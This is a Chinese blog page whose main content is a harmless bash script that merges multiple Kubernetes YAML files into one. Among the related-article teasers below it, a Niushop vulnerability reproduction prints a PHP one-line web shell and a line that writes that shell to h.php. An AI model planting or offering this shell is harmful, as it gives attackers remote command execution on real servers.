将多个 k8s yaml 配置文件合并为一个文件

如下bash脚本实现功能 “将多个k8s的yaml 配置文件” 合并为一个 yaml,使用 --- 分割文件配置。

创建文件 merge_yaml.sh ,内容如下:

#!/bin/bash

# 默认参数
input_patterns=()  # 匹配的文件模式数组
output_file="combined.yaml"  # 输出文件名,默认为 combined.yaml
del_resource_version=false   # 是否删除 resourceVersion 行,默认不删除

# 解析命令行参数
while [[ $# -gt 0 ]]; do
    case $1 in
        -i|--input)
            input_patterns+=("$2")
            shift 2
            ;;
        -o|--output)
            output_file="$2"
            shift 2
            ;;
        -delResourceVersion)
            del_resource_version=true
            shift
            ;;
        *)
            echo "未知参数: $1"
            exit 1
            ;;
    esac
done

# 检查是否有输入文件模式
if [ ${#input_patterns[@]} -eq 0 ]; then
    echo "请使用 -i 参数指定至少一个匹配文件模式。"
    exit 1
fi

# 清空或创建输出文件
> "$output_file"

# 遍历所有匹配的文件并进行合并
for pattern in "${input_patterns[@]}"; do
    for file in $pattern; do
        if [ -f "$file" ]; then
            cat "$file" >> "$output_file"
            echo "---" >> "$output_file"
        else
            echo "警告:未找到文件模式 '$file' 匹配的文件。"
        fi
    done
done

# 删除最后一个多余的 ---
truncate -s -4 "$output_file"

# 如果指定了 -delResourceVersion,则删除所有 resourceVersion 行
if [ "$del_resource_version" = true ]; then
    sed -i '/^\s*resourceVersion:\s*'"'"'[0-9]\+'"'"'/d' "$output_file"
fi

echo "YAML 文件已成功合并到 $output_file"

使用方法示例:

现在你可以更简洁地调用脚本:

1、合并所有 .yaml 文件到 output.yaml 并删除 resourceVersion 行

./merge_yaml.sh -i "*.yaml" -o "output.yaml" -delResourceVersion

2、合并特定前缀的 YAML 文件到 output.yaml

./merge_yaml.sh -i "res/file*.yaml" -o "output.yaml"

3、合并多个不同模式的文件到 output.yaml

./merge_yaml.sh -i "file1_*.yaml" -i "file2_*.yaml" -o "output.yaml"

注意文件使用双引号包括。


(END)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941825.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

KingbaseES(金仓数据库)入门学习

前言 金仓是一种多进程架构,每一个连接到服务器的会话,在服务器上面都会为该会话分配进程 图形化界面管理 新建数据库名 然后新建一个模式 再创建一个表 新建一个表,然后设置列名 记得要保存 查询数据 也可以新建数据表,用命令…

Burp Suite的安装

1.安装Java 8环境: https://www.java.com/ 2.安装Burp Suite: 3.导出证书,安装证书: 不安装的话无法抓包https协议 4.设置浏览器的代理为Burp Suite: 将浏览器代理端口改为Burp Suite的默认端口 ###我个人在安装中遇到的一些问题: #浏览…

利用Spring Cloud Gateway Predicate优化微服务路由策略

利用Spring Cloud Gateway Predicate优化微服务路由策略 一、Predicate简介 Spring Cloud Gateway 是 Spring 生态系统中用于构建 API 网关的框架,它基于 Project Reactor 和 Netty 构建,旨在提供一种高效且灵活的方式来处理 HTTP 请求和响应。 Spring …

【Java基础面试题035】什么是Java泛型的上下界限定符?

回答重点 Java泛型的上下界限定符用于对泛型类型参数进行范围限制,主要有上界限定符和下届限定符。 1)上界限定符 (? extends T): 定义:通配符?的类型必须是T或者T的子类,保证集合元素一定是T或者T的子类作用&…

用套接字的UDP,TCP知道什么是HTTP吗?

文章目录 UDP和TCP七层网络架构Omnipeek抓包分析举例图片备注code参考code HTTP协议的构成 UDP和TCP UDP(User Datagram Protocol,用户数据报协议) 和 TCP(Transmission Control Protocol,传输控制协议) 是…

Apache Log4j漏洞复现

所用环境 宝塔云服务器 log4j2 是Apache的⼀个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。 apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过…

苍穹外卖-day05redis 缓存的学习

苍穹外卖-day05 课程内容 Redis入门Redis数据类型Redis常用命令在Java中操作Redis店铺营业状态设置 学习目标 了解Redis的作用和安装过程 掌握Redis常用的数据类型 掌握Redis常用命令的使用 能够使用Spring Data Redis相关API操作Redis 能够开发店铺营业状态功能代码 功能实…

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接: An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…

PTA数据结构题目:链表操作集合

寻找结点 插入结点 错误分析 while (prev ! NULL && prev->Next ! P) 为什么我写成 while (prev->Next ! P && prev ! NULL) 的时候会发生段错误,这两种写法逻辑上不是一样的吗? 野指针 逻辑顺序导致的潜在风险 在 C 语言中&am…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考:网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误,错误编号:-22025 TP-LINK 认证界面地址:https://realnam…

Java 小白入门必备知识点

11.我们发现现在有两个x,一个是成员变量,一个是局部变量,在sum方法中为了区分两个s,我们给成员变量前加上this以此来区分成员变量和局部变量 12.成员方法:在java中,必须通过方法才能完成对类和对象的属性操作&#xf…

gitlab代码推送

点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push

vscode添加全局宏定义

利用vscode编辑代码时,设置了禁用非活动区域着色后,在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色,想查看代码不是很方便。如下图: 一 解决: 在vscode中添加全局宏定义。 二 步骤&#xff1a…

【电路设计】LDO旁路电容的选择

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时,也能帮助其他需要参考的朋友。如有谬误,欢迎大家进行指正。 一、引言 虽然人们普遍认为电容是解决噪声相关问题的灵丹妙药,但是电容的价值并不仅限于此。设计人员常常只想到…

生产看板管理系统涵盖哪些方面

嘿,各位搞生产管理的朋友,肯定都碰到过些麻烦事儿吧。我就寻思着,能不能弄出个 “明明白白” 的工作场地呢?让员工和管理人员都能随时查查生产进度,一发现生产里有啥问题就能立马知道。 生产进度不好追踪生产过程不清…

Python|Pyppeteer实现全自动化触发reCaptcha验证码(28)

前言 本文是该专栏的第28篇,结合优质项目案例持续分享Pyppeteer的干货知识,记得关注。 针对近期多位同学,询问如何自动化触发“reCaptcha验证码”的问题。笔者在本文,将结合实战项目完整代码进行详细说明。 对“reCaptcha验证码”感兴趣的同学,千万别错过。 废话不多说,…

SpringBoot介绍以及基本注解和应用

一.Spring Boot 简介(脚手架) 1.简介 简化Spring应用开发的一个框架; 整个Spring技术栈的一个大整合; J2EE开发的一站式解决方案; 优点:快速创建独立运行的spring项目以及与主流框架集成 使用嵌入式的S…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…

容器技术所涉及Linux内核关键技术

容器技术所涉及Linux内核关键技术 一、容器技术前世今生 1.1 1979年 — chroot 容器技术的概念可以追溯到1979年的UNIX chroot。它是一套“UNIX操作系统”系统&#xff0c;旨在将其root目录及其它子目录变更至文件系统内的新位置&#xff0c;且只接受特定进程的访问。这项功…

攻防世界 web view_source

开启场景 右键用不了就 F12 试试&#xff0c;然后看见了 flag cyberpeace{62caa734bc21cc4f9dc97ece9a882cd3}